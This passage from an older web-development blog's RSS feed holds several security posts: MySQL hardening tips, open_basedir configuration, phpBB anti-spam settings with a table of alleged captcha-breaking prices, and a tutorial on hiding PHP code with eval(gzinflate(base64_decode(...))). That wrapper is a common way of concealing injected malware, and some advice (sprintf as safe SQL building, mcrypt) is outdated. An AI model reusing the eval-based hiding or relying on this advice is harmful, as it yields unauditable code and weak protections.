]]></content:encoded>
			<wfw:commentRss>http://www.kavoir.com/2010/02/php-allow-specific-html-tags-in-text-input-controls-of-html-forms-textarea-input-typetext.html/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>A few database security tips &#8211; things to do to effectively protect MySQL databases</title>
		<link>http://www.kavoir.com/2010/02/a-few-database-security-tips-things-to-do-to-effectively-protect-mysql-databases.html</link>
		<comments>http://www.kavoir.com/2010/02/a-few-database-security-tips-things-to-do-to-effectively-protect-mysql-databases.html#comments</comments>
		<pubDate>Wed, 10 Feb 2010 08:18:00 +0000</pubDate>
		<dc:creator>Yang Yang</dc:creator>
				<category><![CDATA[Information Security]]></category>
		<category><![CDATA[SQL / MySQL Tips and Tutorials]]></category>

		<guid isPermaLink="false">http://www.kavoir.com/2010/02/a-few-database-security-tips-things-to-do-to-effectively-protect-mysql-databases.html</guid>
		<description><![CDATA[I’d like to share with you some tips about hardening the database part of your application. Here are a few things you can do in protecting the databases from being compromised in security: Create separate users with ONLY necessary privileges (as few as possible) to connect to the database for common daily tasks. Never use [...]]]></description>
			<content:encoded><![CDATA[<p></p><p>I’d like to share with you some tips about hardening the <a href="http://www.usabledatabases.com/">database</a> part of your application. Here are a few things you can do in protecting the databases from being compromised in security:<span id="more-1625"></span></p>
<ol>
<li>Create separate users with <strong>ONLY</strong> necessary privileges (as few as possible) to connect to the database for common daily tasks. Never use the database owner / creator or even MySQL root user in your PHP scripts to perform routine tasks.</li>
<li>Protect against <a href="http://www.kavoir.com/2009/01/php-prevent-sql-injection-attacks.html">SQL injection attacks</a> by <a href="http://www.kavoir.com/2009/01/php-escape-string-for-sql-mysqlireal_escape_string-and-pdo.html">escaping</a> ALL incoming input after ensuring data types with a variety of PHP <a href="http://www.php.net/manual/en/ref.var.php">variable type</a> and <a href="http://www.php.net/manual/en/ref.ctype.php">character type</a> validation functions.</li>
<li>The <a href="http://php.net/manual/en/function.sprintf.php">sprintf</a>() function is both useful and secure in constructing SQL queries because of the built-in type checking. Better yet, use <a href="http://www.kavoir.com/2009/01/php-escape-string-for-sql-mysqlireal_escape_string-and-pdo.html">PDO</a>.</li>
<li>Turn off <strong>error messages</strong> MySQL or <a href="http://www.php.net/manual/en/security.errors.php">PHP</a> outputs when things go wrong so crackers know nothing about the technical details of your build such as database schema. As a matter of fact, a good rule of thumb in web application security is that the less people know about your application’s internal structure, the better.</li>
<li>For advanced SQL developers, extra abstraction layer in SQL in the form of <strong>stored procedures</strong> can benefit security because you implement yet another depth of defense and hide the schema of the database from the outside world.</li>
<li>For mission critical applications, it goes without saying that custom <strong>logging of database accesses</strong> can help a lot in identifying security risks.</li>
<li>If the database contains very sensitive data such as credit card information, you are strongly recommended to <strong>encrypt these tables or fields</strong>. Just use PHP cryptography extensions such as <a href="http://php.net/manual/en/book.mcrypt.php">Mcrypt</a> to encrypt any data that are to be stored and decrypt them when they are being retrieved.</li>
</ol>
<h3>Related Posts:</h3>
<ul class="similar-posts">
<li><a href="http://www.kavoir.com/2011/03/mysql-get-the-exact-size-of-a-database-by-query.html" rel="bookmark" title="March 5, 2011">MySQL: Get the exact size of a database by SQL query</a></li>
<li><a href="http://www.kavoir.com/2010/03/web-application-security-must-read-books-the-best-at-amazon.html" rel="bookmark" title="March 6, 2010">Web Application Security Books (PHP, MySQL, Apache), the Best at Amazon</a></li>
<li><a href="http://www.kavoir.com/2009/04/the-secure-way-to-store-passwords-with-php.html" rel="bookmark" title="April 20, 2009">The Secure Way to Store Passwords with PHP</a></li>
<li><a href="http://www.kavoir.com/2009/09/mysql-select-and-show-all-mysql-users.html" rel="bookmark" title="September 3, 2009">MySQL: Select and Show all MySQL Users</a></li>
<li><a href="http://www.kavoir.com/2009/06/best-mysql-books-to-learn-mysql-database-php-applications.html" rel="bookmark" title="June 17, 2009">Best MySQL Books to Learn MySQL Database Programming and Development (+ PHP Applications)</a></li>
</ul>
<p><!-- Similar Posts took 2.853 ms --></p>
]]></content:encoded>
			<wfw:commentRss>http://www.kavoir.com/2010/02/a-few-database-security-tips-things-to-do-to-effectively-protect-mysql-databases.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>One Simple Way to Encrypt, Obfuscate, Hide or Protect Your PHP Code</title>
		<link>http://www.kavoir.com/2009/08/one-simple-way-to-encrypt-obfuscate-hide-or-protect-your-php-code.html</link>
		<comments>http://www.kavoir.com/2009/08/one-simple-way-to-encrypt-obfuscate-hide-or-protect-your-php-code.html#comments</comments>
		<pubDate>Tue, 04 Aug 2009 13:48:49 +0000</pubDate>
		<dc:creator>Yang Yang</dc:creator>
				<category><![CDATA[Information Security]]></category>
		<category><![CDATA[PHP Tips & Tutorials]]></category>

		<guid isPermaLink="false">http://www.kavoir.com/2009/08/one-simple-way-to-encrypt-obfuscate-hide-or-protect-your-php-code.html</guid>
		<description><![CDATA[This way is so simple that anyone who’s a beginner in PHP can use it immediately to obfuscate and hide the original PHP code. Generally, it’d make it much harder for someone to find a specific phrase in your code as it’s encrypted, though in a rather simple way using 4 PHP functions: gzinflate(), gzdeflate(), [...]]]></description>
			<content:encoded><![CDATA[<p></p><p>This way is so simple that anyone who’s a beginner in PHP can use it immediately to obfuscate and hide the original PHP code. Generally, it’d make it much harder for someone to find a specific phrase in your code as it’s encrypted, though in a rather simple way using 4 PHP functions: <strong>gzinflate</strong>(), <strong>gzdeflate</strong>(), <strong>base64_encode</strong>() and <strong>base64_decode</strong>().</p>

<p>For example, you can make it eventually impossible for someone who know nothing about PHP or programming to modify your code and some of your native strings. It comes quite handy in encoding, obfuscating and protecting your credits lines in the footer of your scripts of web software.</p>
<p>Say here is the line of code you want to hide from being modified:</p>
<p><code>echo "You can't find me!"; // it’s “<span style="text-decoration: underline;">echo</span>” instead of “<span style="text-decoration: underline;">echo</span>”, same below. Have to post them this way because of a WP bug.</code></p>
<p>You can get the obfuscated and encrypted version of this line of code by:</p>
<p><code>echo <strong>base64_encode</strong>(<strong>gzdeflate</strong>('echo "You can\'t find me!";'));</code></p>
<p>Which would output:</p>
<p><code>S03OyFdQiswvVUhOzFMvUUjLzEtRyE1VVLIGAA==</code></p>
<p>This is the code you should use in your script. As it&#8217;s all encrypted and obfuscated, the original string and code are totally hidden, protecting them from being changed.</p>
<p>To run the hidden code, replace the original line of code with this one:</p>
<p><code><strong>eval</strong>(<strong>gzinflate</strong>(<strong>base64_decode</strong>('S03OyFdQiswvVUhOzFMvUUjLzEtRyE1VVLIGAA==')));</code></p>
<p>It’s simply the reverse of the encoding plus an <strong>eval</strong>() function of PHP. And because all the original code and strings are totally encrypted in obfuscation, it’d be harder for non-programmers to modify your script but not professionals. For absolute protection of your code, use Zend Guard.<br />
<h3>Related Posts:</h3>
<ul class="similar-posts">
<li><a href="http://www.kavoir.com/2009/04/php-convert-between-numerical-bases-binary-number-decimal-number-octal-number-and-hexadecimal-number-conversions.html" rel="bookmark" title="April 23, 2009">PHP: Convert between Numerical Bases | Binary Number, Decimal Number, Octal Number and Hexadecimal Number Conversions</a></li>
<li><a href="http://www.kavoir.com/2009/05/php-hide-the-real-file-url-and-provide-download-via-a-php-script.html" rel="bookmark" title="May 18, 2009">PHP: Hide the Real File URL and Provide Download via a PHP Script</a></li>
<li><a href="http://www.kavoir.com/2010/09/how-to-create-generate-htpasswd-password-with-php-dynamically.html" rel="bookmark" title="September 18, 2010">How to create / generate .htpasswd password with PHP dynamically?</a></li>
<li><a href="http://www.kavoir.com/2011/12/php-store-array-in-file-read-write-arrays-in-file.html" rel="bookmark" title="December 22, 2011">PHP: Store Array in File &#8211; Read / Write Arrays in File</a></li>
<li><a href="http://www.kavoir.com/2009/04/php-what-is-hash-hashing-a-string-generate-hash-of-strings.html" rel="bookmark" title="April 22, 2009">PHP: What is Hash? | Hashing a String | Generate Hash of Strings</a></li>
</ul>
<p><!-- Similar Posts took 2.911 ms --></p>
]]></content:encoded>
			<wfw:commentRss>http://www.kavoir.com/2009/08/one-simple-way-to-encrypt-obfuscate-hide-or-protect-your-php-code.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>PHP: open_basedir in php.ini to Restrict and Limit PHP File Accesses to a Certain Directory</title>
		<link>http://www.kavoir.com/2009/06/php-open_basedir-in-phpini-to-limit-php-file-accesses-to-a-certain-directory.html</link>
		<comments>http://www.kavoir.com/2009/06/php-open_basedir-in-phpini-to-limit-php-file-accesses-to-a-certain-directory.html#comments</comments>
		<pubDate>Mon, 01 Jun 2009 14:57:10 +0000</pubDate>
		<dc:creator>Yang Yang</dc:creator>
				<category><![CDATA[Information Security]]></category>
		<category><![CDATA[PHP Tips & Tutorials]]></category>

		<guid isPermaLink="false">http://www.kavoir.com/2009/06/php-open_basedir-in-phpini-to-limit-php-file-accesses-to-a-certain-directory.html</guid>
		<description><![CDATA[The open_basedir directive in php.ini limits PHP file accesses (such as file opening, writing and deleting) within a designated directory such as /home/www/public_html so that it doesn&#8217;t endanger the rest of the system in any way. With proper Apache permissions and PHP installed as an Apache module, PHP inherits whatever privileges Apache has. As Apache [...]]]></description>
			<content:encoded><![CDATA[<p></p><p>The <strong>open_basedir</strong> directive in php.ini limits PHP file accesses (such as file opening, writing and deleting) within a designated directory such as /home/www/public_html so that it doesn&#8217;t endanger the rest of the system in any way. With proper Apache permissions and PHP installed as an Apache module, PHP inherits whatever privileges Apache has. As Apache is usually endowed with very limited permission in the form of a &#8216;nobody&#8217; or &#8216;www-data&#8217; group, there&#8217;s actually no need for <strong>open_basedir</strong>.</p>

<p>So it&#8217;s actually turned off by default. Controversies are raised about whether to use it or not. While it&#8217;s good to have extra confinement of what your public PHP scripts can access and do, it&#8217;d also make your applications reliable on it for file system security.</p>
<p>To modify the value of this directive and restrict php directory access, just <a href="http://www.kavoir.com/2009/06/where-is-phpini-located.html">find php.ini</a> and locate the line:</p>
<p><code>;open_basedir = </code></p>
<p>And change it to minimum directory access your PHP applications need such as the web documents root:</p>
<p><code>open_basedir = '/home/www/public_html'</code><br />
<h3>Related Posts:</h3>
<ul class="similar-posts">
<li><a href="http://www.kavoir.com/2009/04/php-change-current-working-directory.html" rel="bookmark" title="April 22, 2009">PHP: Change Current Working Directory</a></li>
<li><a href="http://www.kavoir.com/2009/01/htaccess-directory-listing-enable-web-directory-browsing-indexing.html" rel="bookmark" title="January 27, 2009">.htaccess: Directory Listing – Enable Web Directory Browsing &#038; Indexing</a></li>
<li><a href="http://www.kavoir.com/2009/05/php-hide-the-real-file-url-and-provide-download-via-a-php-script.html" rel="bookmark" title="May 18, 2009">PHP: Hide the Real File URL and Provide Download via a PHP Script</a></li>
<li><a href="http://www.kavoir.com/2011/05/php-explore-display-contents-of-directory-recursively.html" rel="bookmark" title="May 10, 2011">PHP: Display Files and Sub-directories of A Directory Recursively as A Tree</a></li>
<li><a href="http://www.kavoir.com/2010/02/use-stat-command-to-display-detailed-meta-information-of-any-file-or-directory-under-linux.html" rel="bookmark" title="February 20, 2010">Use stat command to display file system meta information of any file or directory under Linux</a></li>
</ul>
<p><!-- Similar Posts took 5.127 ms --></p>
]]></content:encoded>
			<wfw:commentRss>http://www.kavoir.com/2009/06/php-open_basedir-in-phpini-to-limit-php-file-accesses-to-a-certain-directory.html/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>How to know if your site has been penalized by Google for malicious software or suspicious content?</title>
		<link>http://www.kavoir.com/2009/05/how-to-know-if-your-site-has-been-penalized-by-google-for-malicious-software-or-suspicious-content.html</link>
		<comments>http://www.kavoir.com/2009/05/how-to-know-if-your-site-has-been-penalized-by-google-for-malicious-software-or-suspicious-content.html#comments</comments>
		<pubDate>Wed, 20 May 2009 02:19:18 +0000</pubDate>
		<dc:creator>Yang Yang</dc:creator>
				<category><![CDATA[Anti Spam Tips & Tricks]]></category>
		<category><![CDATA[Content / SEO Tips & Tutorials]]></category>
		<category><![CDATA[Google Hacks, Cheats & Tips]]></category>
		<category><![CDATA[Information Security]]></category>

		<guid isPermaLink="false">http://www.kavoir.com/2009/05/how-to-know-if-your-site-has-been-penalized-by-google-for-malicious-software-or-suspicious-content.html</guid>
		<description><![CDATA[Back when WordPress was pretty young there’s some loopholes that enable hackers to inject unauthorized and dangerous HTML code into your website pages, thus promoting the distribution of malware that damages the end users computer. I was once there and got penalized by Google for one of my sites. However, they are gentle enough to [...]]]></description>
			<content:encoded><![CDATA[<p></p><p>Back when WordPress was pretty young there’s some loopholes that enable hackers to inject unauthorized and dangerous HTML code into your website pages, thus promoting the distribution of malware that damages the end users computer. I was once there and got penalized by Google for one of my sites. However, they are gentle enough to detect that this might not be my fault but still decided to bring down the overall ranking of all the pages on that site for a while to protect Internet users and notify me.</p>

<p>If you have spotted anything suspicious or sense that your overall site ranking is down, you may want to check it out for sure if your site has been infected with malware or anything else that’s a threat to your site and the visitors.</p>
<p>Just go here: <a title="http://www.google.com/safebrowsing/diagnostic?site=econguru.com" href="http://www.google.com/safebrowsing/diagnostic?site=example.com">http://www.google.com/safebrowsing/diagnostic?site=example.com</a></p>
<p>And Google will present you a detailed report of what they have found on your site for the last 90 days.</p>
<h3>Related Posts:</h3>
<ul class="similar-posts">
<li><a href="http://www.kavoir.com/2009/06/google-restrict-search-results-by-searching-only-the-anchor-text-page-title-page-url-or-filetype.html" rel="bookmark" title="June 13, 2009">Google: Restrict matching results by searching only the anchor text, page title, page URL, page text or filetype</a></li>
<li><a href="http://www.kavoir.com/2007/06/what-is-wrong-with-supplemental-result.html" rel="bookmark" title="June 3, 2007">What is wrong with &#8216;Supplemental result&#8217;?</a></li>
<li><a href="http://www.kavoir.com/2010/09/auto-generated-content-by-user-searches.html" rel="bookmark" title="September 29, 2010">Auto-generated content by user searches</a></li>
<li><a href="http://www.kavoir.com/2007/08/find-the-perfect-page-to-build-links-on.html" rel="bookmark" title="August 8, 2007">Find the perfect page to build links on</a></li>
<li><a href="http://www.kavoir.com/2009/06/web-hosting-ip-and-seo-are-you-a-slum-dog-or-are-you-a-millionaire.html" rel="bookmark" title="June 11, 2009">Web Hosting IP and SEO: Are You A Slum Dog or Are You A Millionaire?</a></li>
</ul>
<p><!-- Similar Posts took 2.889 ms --></p>
]]></content:encoded>
			<wfw:commentRss>http://www.kavoir.com/2009/05/how-to-know-if-your-site-has-been-penalized-by-google-for-malicious-software-or-suspicious-content.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>phpBB Spam Control – phpBB Anti-Spam Options for Fresh Forum Installations</title>
		<link>http://www.kavoir.com/2009/03/phpbb-spam-control-phpbb-anti-spam-options-for-fresh-forum-installations.html</link>
		<comments>http://www.kavoir.com/2009/03/phpbb-spam-control-phpbb-anti-spam-options-for-fresh-forum-installations.html#comments</comments>
		<pubDate>Sun, 15 Mar 2009 05:22:21 +0000</pubDate>
		<dc:creator>Yang Yang</dc:creator>
				<category><![CDATA[Anti Spam Tips & Tricks]]></category>
		<category><![CDATA[Information Security]]></category>
		<category><![CDATA[Web Applications & Online Software]]></category>

		<guid isPermaLink="false">http://www.kavoir.com/2009/03/phpbb-spam-control-phpbb-anti-spam-options-for-fresh-forum-installations.html</guid>
		<description><![CDATA[phpBB is pretty much the best php forum software out there that is free, and comes the first choice of many webmasters. However, after a few weeks of first installation, many complain that spam bots start to overwhelm their forums, flooding with automated spam registrations and spam posts. Unfortunately, that is generally because: phpBB disables [...]]]></description>
			<content:encoded><![CDATA[<p></p><p><a href="http://www.phpbb.com">phpBB</a> is pretty much the best php forum software out there that is free, and comes the first choice of many webmasters. However, after a few weeks of first installation, many complain that spam bots start to overwhelm their forums, flooding with automated spam registrations and spam posts.</p>

<p>Unfortunately, that is generally because:</p>
<ol>
<li>phpBB disables <strong>account activation</strong> by default so that any registered account would be instantly able to write and submit posts.</li>
<li>The default image captcha at registration is much too easy for anti-captcha programs to break.</li>
</ol>
<p>So, taking <a href="http://www.phpbb.com">phpBB 3.0.4</a> for an example, to prevent the majority of simple phpBB forum spam bots, with every new phpBB installation, you will:</p>
<ol>
<li><span style="text-decoration: underline;">Enable registration activation</span>: Administration Control Panel =&gt; General =&gt; (Board Configuration) User registration settings =&gt; (General settings) <span style="text-decoration: underline;"><strong>Account activation</strong></span> =&gt; Now select &#8216;<strong>By User</strong>&#8216; from &#8216;<strong>None</strong>&#8216; =&gt; Submit.Thereby all new registered accounts will be required to validate the email address which no automated spam bots would do with fabricated ones, at least for not-so-valuable new forums.</li>
<li><span style="text-decoration: underline;">Use harder captcha images</span>: Administration Control Panel =&gt; General =&gt; (Board Configuration) Visual confirmation settings =&gt; (General options) =&gt; <span style="text-decoration: underline;"><strong>GD CAPTCHA foreground noise</strong></span> =&gt; Select &#8216;<strong>Yes</strong>&#8216; instead of &#8216;<strong>No</strong>&#8216; =&gt; Submit.This would make the captcha a lot harder to break but also less user friendly / accessible because the texts are also much harder for human recognizing. To ease the pain, you may want to set the numeric values just below the option for <span style="text-decoration: underline;">background noises</span> of <strong>x-axis</strong> and <strong>y-axis</strong> <em>higher</em> or <em>zero</em>. I use 200.</li>
</ol>
<p>After all these efforts you should be receiving much less spam now. If they still laugh at your defense and keep on coming, you should consider using more advanced image captcha such as <a href="http://www.recaptcha.net">reCaptcha.net</a>.</p>
<h5>For an idea of what captcha works best</h5>
<p>Below is a list of famous Chinese websites image captchas that have <a href="http://wangrun.web6.a48.cn/captcha/">allegedly been broken</a> by automated text recognition programs with an accuracy percentage and price for each of them. From them you can get an idea of what captcha works the best and what can be easily worked around.</p>
<table border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<th scope="col">Origin</th>
<th scope="col">Samples</th>
<th scope="col">Accuracy</th>
<th scope="col">Price</th>
<th scope="col">Comments</th>
</tr>
<tr>
<td>9you</td>
<td><img src="http://www.kavoir.com/img/posts/captcha/1.gif" alt="captcha broken by spam bots" width="392" height="20" /></td>
<td>100%</td>
<td>500<br />
$100</td>
<td>Very Easy</td>
</tr>
<tr>
<td>tiancity</td>
<td><img src="http://www.kavoir.com/img/posts/captcha/2.gif" alt="captcha broken by spam bots" width="396" height="20" /></td>
<td>100%</td>
<td>500<br />
$100</td>
<td>Very Easy</td>
</tr>
<tr>
<td>cncard</td>
<td><img src="http://www.kavoir.com/img/posts/captcha/3.gif" alt="captcha broken by spam bots" width="396" height="20" /></td>
<td>100%</td>
<td>500<br />
$100</td>
<td>Very Easy</td>
</tr>
<tr>
<td>the9</td>
<td><img src="http://www.kavoir.com/img/posts/captcha/4.gif" alt="captcha broken by spam bots" width="412" height="16" /></td>
<td>100%</td>
<td>500<br />
$100</td>
<td>Very Easy</td>
</tr>
<tr>
<td>the9</td>
<td><img src="http://www.kavoir.com/img/posts/captcha/5.gif" alt="captcha broken by spam bots" width="391" height="49" /></td>
<td>99%</td>
<td>1000<br />
$200</td>
<td>Easy</td>
</tr>
<tr>
<td>kingsoft</td>
<td><img src="http://www.kavoir.com/img/posts/captcha/6.gif" alt="captcha broken by spam bots" width="420" height="69" /></td>
<td>98%</td>
<td>1000<br />
$200</td>
<td>Easy</td>
</tr>
<tr>
<td>taobao</td>
<td><img src="http://www.kavoir.com/img/posts/captcha/7.gif" alt="captcha broken by spam bots" width="412" height="45" /></td>
<td>95%</td>
<td>1000<br />
$200</td>
<td>Easy</td>
</tr>
<tr>
<td>dvbbs</td>
<td><img src="http://www.kavoir.com/img/posts/captcha/8.gif" alt="captcha broken by spam bots" width="417" height="45" /></td>
<td>95%</td>
<td>1000<br />
$200</td>
<td>Easy</td>
</tr>
<tr>
<td>126</td>
<td><img src="http://www.kavoir.com/img/posts/captcha/9.gif" alt="captcha broken by spam bots" width="428" height="55" /></td>
<td>95%</td>
<td>1000<br />
$200</td>
<td>Easy</td>
</tr>
<tr>
<td>163</td>
<td><img src="http://www.kavoir.com/img/posts/captcha/10.gif" alt="captcha broken by spam bots" width="368" height="65" /></td>
<td>95%</td>
<td>1500<br />
$300</td>
<td>Middle</td>
</tr>
<tr>
<td>shanda</td>
<td><img src="http://www.kavoir.com/img/posts/captcha/11.gif" alt="captcha broken by spam bots" width="417" height="56" /></td>
<td>90%</td>
<td>1500<br />
$300</td>
<td>Middle</td>
</tr>
<tr>
<td>qq</td>
<td><img src="http://www.kavoir.com/img/posts/captcha/12.gif" alt="captcha broken by spam bots" width="366" height="55" /></td>
<td>90%</td>
<td>1500<br />
$300</td>
<td>Middle</td>
</tr>
<tr>
<td>xiaonei</td>
<td><img src="http://www.kavoir.com/img/posts/captcha/xiaonei.gif" alt="captcha broken by spam bots" width="445" height="85" /></td>
<td>85%</td>
<td>1000<br />
$200</td>
<td>Middle</td>
</tr>
<tr>
<td>sdo</td>
<td><img src="http://www.kavoir.com/img/posts/captcha/sdo.gif" alt="captcha broken by spam bots" width="405" height="85" /></td>
<td>85%</td>
<td>1500<br />
$300</td>
<td>Middle</td>
</tr>
<tr>
<td>ourgame</td>
<td><img src="http://www.kavoir.com/img/posts/captcha/ourgame.gif" alt="captcha broken by spam bots" width="376" height="85" /></td>
<td>80%</td>
<td>1500<br />
$300</td>
<td>Middle</td>
</tr>
<tr>
<td>chinaren</td>
<td><img src="http://www.kavoir.com/img/posts/captcha/13.gif" alt="captcha broken by spam bots" width="416" height="45" /></td>
<td>85%</td>
<td>2000<br />
$400</td>
<td>Middle</td>
</tr>
<tr>
<td>monter</td>
<td><img src="http://www.kavoir.com/img/posts/captcha/14.gif" alt="captcha broken by spam bots" width="372" height="46" /></td>
<td>80%</td>
<td>2000<br />
$400</td>
<td>Middle</td>
</tr>
<tr>
<td>baidu</td>
<td><img src="http://www.kavoir.com/img/posts/captcha/15.gif" alt="captcha broken by spam bots" width="368" height="85" /></td>
<td>80%</td>
<td>$3000</td>
<td>Difficult</td>
</tr>
<tr>
<td>qq</td>
<td><img src="http://www.kavoir.com/img/posts/captcha/16.gif" alt="captcha broken by spam bots" width="398" height="55" /></td>
<td>75%</td>
<td>$3000</td>
<td>Difficult</td>
</tr>
<tr>
<td>ebay</td>
<td><img src="http://www.kavoir.com/img/posts/captcha/17.gif" alt="captcha broken by spam bots" width="412" height="105" /></td>
<td>60%</td>
<td>$4000</td>
<td>Difficult</td>
</tr>
<tr>
<td>myspace</td>
<td colspan="3"><img src="http://www.kavoir.com/img/posts/captcha/19.gif" alt="captcha broken by spam bots" width="604" height="224" /></td>
<td>30%</td>
</tr>
<tr>
<td>google</td>
<td colspan="3"><img src="http://www.kavoir.com/img/posts/captcha/20.gif" alt="captcha broken by spam bots" width="608" height="145" /></td>
<td>30%</td>
</tr>
<tr>
<td>hotmail</td>
<td colspan="3"><img src="http://www.kavoir.com/img/posts/captcha/21.gif" alt="captcha broken by spam bots" width="663" height="102" /></td>
<td>30%</td>
</tr>
<tr>
<td>yahoo</td>
<td colspan="3"><img src="http://www.kavoir.com/img/posts/captcha/22.gif" alt="captcha broken by spam bots" width="584" height="249" /></td>
<td>45% $8000</td>
</tr>
</tbody>
</table>
<h3>Related Posts:</h3>
<ul class="similar-posts">
<li><a href="http://www.kavoir.com/2009/04/phpbb-disabling-user-registrations-signup.html" rel="bookmark" title="April 18, 2009">phpBB: Disabling User Registrations / Signup</a></li>
<li><a href="http://www.kavoir.com/2010/06/how-to-enable-change-vbulletin-default-thread-subscription-mode-for-new-user-registrations.html" rel="bookmark" title="June 14, 2010">How to Enable / Change vBulletin Default Thread Subscription Mode for New User Registrations?</a></li>
<li><a href="http://www.kavoir.com/2009/11/how-to-change-cj-password-of-commission-junction.html" rel="bookmark" title="November 21, 2009">How to change CJ password? (of Commission Junction)</a></li>
<li><a href="http://www.kavoir.com/2009/04/paircom-hosting-coupons-and-promo-codes-bonus-paircom-control-panel-screenshots.html" rel="bookmark" title="April 19, 2009">Pair.com Hosting Coupons and Promo Codes (Bonus: Pair.com Control Panel Screenshots)</a></li>
<li><a href="http://www.kavoir.com/2009/01/699-com-domain-coupon-at-godaddy-for-both-registration-and-renewal.html" rel="bookmark" title="January 25, 2009">$6.99 .com domain coupon at GoDaddy for both registration and renewal</a></li>
</ul>
<p><!-- Similar Posts took 4.312 ms --></p>
]]></content:encoded>
			<wfw:commentRss>http://www.kavoir.com/2009/03/phpbb-spam-control-phpbb-anti-spam-options-for-fresh-forum-installations.html/feed</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
	</channel>
</rss>

